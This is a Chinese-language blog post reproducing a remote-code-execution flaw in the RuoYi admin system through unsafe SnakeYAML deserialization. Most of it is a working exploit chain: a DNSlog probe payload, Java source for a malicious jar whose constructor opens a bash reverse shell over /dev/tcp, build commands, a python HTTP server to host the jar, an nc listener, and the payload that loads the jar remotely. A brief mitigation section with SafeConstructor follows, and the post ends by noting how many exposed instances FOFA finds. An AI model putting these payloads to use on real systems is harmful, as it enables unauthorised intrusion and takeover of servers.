0%

若依后台管理系统RCE 0day漏洞复现

前言

工作中碰到一个系统是用了若依后台管理系统CMS的,碰巧 2021hvv 期间有爆出若依的RCE 0day,借此复现一下

漏洞描述

若依后台管理系统使用了snakeyaml 的jar包,snakeyaml是用来解析yaml的格式,可用于Java对象的序列化、反序列化。而若依后台管理系统可以通过定时任务功能构造payload远程调用jar包,从而执行任意命令

影响版本

V4.6.0版本经测试存在

漏洞分析

太菜了,就不分析了,可参考这篇文章,写的很详细了。在此感谢大佬写的分析文章
https://www.cnblogs.com/nice0e3/p/14514882.html

漏洞复现

dnslog验证漏洞

1
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://a85o5r.dnslog.cn/"]]]]')

image.png
执行后dnslog收到回显
image.png
至此基本可以确定存在漏洞,
然后去github找一下yaml反序列化的exp
jar文件源码:https://github.com/artsploit/yaml-payload

关键java文件代码在AwesomeScriptEngineFactory.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/端口号 0>&1"}); //这里修改为自己要执行的命令
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public String getEngineName() {
return null;
}

@Override
public String getEngineVersion() {
return null;
}

@Override
public List<String> getExtensions() {
return null;
}

@Override
public List<String> getMimeTypes() {
return null;
}

@Override
public List<String> getNames() {
return null;
}

@Override
public String getLanguageName() {
return null;
}

@Override
public String getLanguageVersion() {
return null;
}

@Override
public Object getParameter(String key) {
return null;
}

@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}

@Override
public String getOutputStatement(String toDisplay) {
return null;
}

@Override
public String getProgram(String... statements) {
return null;
}

@Override
public ScriptEngine getScriptEngine() {
return null;
}
}

修改后编译方法

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java //会生成一个AwesomeScriptEngineFactory.class文件
jar -cvf yaml-payload.jar -C src/ . //将src目录下的文件打包为yaml-payload.jar的jar包

在自己服务器上开启http挂载

1
python3 -m http.server 80

image.png
监听我要执行命令的端口

1
nc -lvp 1234

以上,漏洞利用的环境就搭建完毕了
修改payload为自己服务器的ip,远程加载jar文件

1
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://ip/yaml-payload.jar"]]]]')

执行后可以看到http服务收到了请求
image.png
成功获取到shell
image.png

漏洞修复

加入new SafeConstructor()类进行过滤

1
2
3
4
5
6
7
8
9
10
11
12
public class main {
public static void main(String[] args) {

String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://ip:1234/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml(new SafeConstructor()); //加入new SafeConstructor()类进行过滤
yaml.load(context);
}
}

再次进行反序列化会抛异常。
再者就是拒绝不安全的反序列化操作,反序列化数据前需要经过校验或拒绝反序列化数据可控。

结尾

使用fofa搜索,若依后台管理系统使用挺多的,理论上只要登录进后台就可以RCE
image.png